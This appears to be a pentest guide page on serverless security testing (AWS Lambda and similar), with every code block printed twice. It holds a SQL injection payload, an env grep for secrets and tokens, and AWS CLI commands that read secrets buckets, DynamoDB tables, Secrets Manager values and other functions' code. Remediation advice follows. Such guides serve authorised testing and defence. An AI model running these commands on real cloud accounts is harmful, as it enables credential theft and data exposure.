Exploitation A05 A03

Serverless Security Testing

Serverless functions (AWS Lambda, Azure Functions, Google Cloud Functions) introduce unique attack surfaces: event injection, over-permissive IAM roles, function chaining abuse, and cold-start side channels. Traditional network-based pentest tools often don't apply — serverless requires a different approach.

Event Injection

bash
# Serverless functions are triggered by events. Inject into event sources:

# API Gateway → Lambda (HTTP event injection):
curl -X POST https://API_ID.execute-api.us-east-1.amazonaws.com/prod/user \
  -H 'Content-Type: application/json' \
  -d '{"username": "admin\' OR 1=1 --"}'

# S3 event injection:
# If a Lambda processes uploaded files, upload malicious files:
# - ZIP bomb (denial of service)
# - XML file triggering XXE in the parser
# - Image with embedded code (ImageMagick exploitation)

# SQS/SNS event injection:
# If the function processes messages from a queue:
# Inject malicious payloads into the queue message body

# DynamoDB Stream injection:
# If a function triggers on database changes:
# Insert data that causes injection when the function processes it

# Cognito trigger injection:
# Pre-signup, post-auth triggers may process user-controlled data
# Register with malicious values in custom attributes
# Serverless functions are triggered by events. Inject into event sources:

# API Gateway → Lambda (HTTP event injection):
curl -X POST https://API_ID.execute-api.us-east-1.amazonaws.com/prod/user \
  -H 'Content-Type: application/json' \
  -d '{"username": "admin\' OR 1=1 --"}'

# S3 event injection:
# If a Lambda processes uploaded files, upload malicious files:
# - ZIP bomb (denial of service)
# - XML file triggering XXE in the parser
# - Image with embedded code (ImageMagick exploitation)

# SQS/SNS event injection:
# If the function processes messages from a queue:
# Inject malicious payloads into the queue message body

# DynamoDB Stream injection:
# If a function triggers on database changes:
# Insert data that causes injection when the function processes it

# Cognito trigger injection:
# Pre-signup, post-auth triggers may process user-controlled data
# Register with malicious values in custom attributes

Environment & Configuration Exposure

bash
# Lambda environment variables often contain secrets:
# If you achieve code execution in a Lambda:
env | grep -iE 'key|secret|token|password|database|connection'

# AWS Lambda has these environment variables by default:
# AWS_ACCESS_KEY_ID
# AWS_SECRET_ACCESS_KEY
# AWS_SESSION_TOKEN
# AWS_LAMBDA_FUNCTION_NAME
# AWS_REGION

# These temporary credentials can be used for AWS API calls:
aws sts get-caller-identity
aws s3 ls
aws iam list-roles

# Check /tmp for data from previous invocations (shared container):
ls -la /tmp/
cat /tmp/*

# Read the function code:
ls -la /var/task/
cat /var/task/index.js
cat /var/task/handler.py

# Check IAM permissions (what can this function access?):
aws iam simulate-principal-policy \
  --policy-source-arn $AWS_LAMBDA_FUNCTION_ARN \
  --action-names 's3:GetObject' 's3:PutObject' 'dynamodb:Scan'
# Lambda environment variables often contain secrets:
# If you achieve code execution in a Lambda:
env | grep -iE 'key|secret|token|password|database|connection'

# AWS Lambda has these environment variables by default:
# AWS_ACCESS_KEY_ID
# AWS_SECRET_ACCESS_KEY
# AWS_SESSION_TOKEN
# AWS_LAMBDA_FUNCTION_NAME
# AWS_REGION

# These temporary credentials can be used for AWS API calls:
aws sts get-caller-identity
aws s3 ls
aws iam list-roles

# Check /tmp for data from previous invocations (shared container):
ls -la /tmp/
cat /tmp/*

# Read the function code:
ls -la /var/task/
cat /var/task/index.js
cat /var/task/handler.py

# Check IAM permissions (what can this function access?):
aws iam simulate-principal-policy \
  --policy-source-arn $AWS_LAMBDA_FUNCTION_ARN \
  --action-names 's3:GetObject' 's3:PutObject' 'dynamodb:Scan'

Privilege Escalation via Over-Permissive Roles

bash
# Common issue: Lambda functions with wildcard IAM permissions
# If the function has s3:* or dynamodb:*, exploit it:

# Read any S3 bucket:
aws s3 ls s3://company-secrets-bucket/
aws s3 cp s3://company-secrets-bucket/credentials.json ./

# Scan DynamoDB tables:
aws dynamodb list-tables
aws dynamodb scan --table-name Users

# Invoke other Lambda functions:
aws lambda list-functions
aws lambda invoke --function-name admin-function output.json
cat output.json

# Modify other functions (if lambda:UpdateFunctionCode is allowed):
# This is a critical escalation — you can inject code into other functions

# Access Secrets Manager:
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id prod/database/credentials
# Common issue: Lambda functions with wildcard IAM permissions
# If the function has s3:* or dynamodb:*, exploit it:

# Read any S3 bucket:
aws s3 ls s3://company-secrets-bucket/
aws s3 cp s3://company-secrets-bucket/credentials.json ./

# Scan DynamoDB tables:
aws dynamodb list-tables
aws dynamodb scan --table-name Users

# Invoke other Lambda functions:
aws lambda list-functions
aws lambda invoke --function-name admin-function output.json
cat output.json

# Modify other functions (if lambda:UpdateFunctionCode is allowed):
# This is a critical escalation — you can inject code into other functions

# Access Secrets Manager:
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id prod/database/credentials

Testing Checklist

  1. 1. Identify serverless endpoints (API Gateway URLs, function URLs)
  2. 2. Test injection in all event sources (HTTP, queue messages, file uploads)
  3. 3. Test for insecure deserialization of event payloads
  4. 4. Check for leaked environment variables in error messages
  5. 5. Test function timeout and memory limits (resource exhaustion DoS)
  6. 6. Assess IAM role permissions (are they over-permissive?)
  7. 7. Test for data persistence in /tmp between invocations
  8. 8. Check if functions are publicly invocable without auth

Evidence Collection

Function Mapping: List of discovered functions, event sources, and permissions

Injection: Request/response showing successful event injection

IAM Assessment: Over-permissive policies with wildcard actions

CVSS Range: Event injection: 7.5–9.1 | Credential exposure: 8.6–9.8 | IAM escalation: 9.1–9.8

Remediation

  • Least privilege IAM: Grant only the specific permissions each function needs — never use * wildcards.
  • Validate all events: Never trust event data — validate and sanitize all fields from event sources.
  • Use Secrets Manager: Never store secrets in environment variables — use AWS Secrets Manager or similar.
  • Set resource limits: Configure timeout, memory, and concurrency limits to prevent abuse.
  • Restrict function access: Use API Gateway authorizers, require authentication for all function URLs.

False Positive Identification

  • Env vars in logs by design: Some logging frameworks intentionally log environment context — verify the logged variables contain actual secrets, not just config metadata.
  • Broad IAM role by design: Some architectures use shared roles across functions intentionally — report the risk but assess if the role follows least-privilege for the function group.
  • Cold start timing variance: Variable response times in serverless don't indicate a timing attack — cold starts naturally cause 100-500ms variance.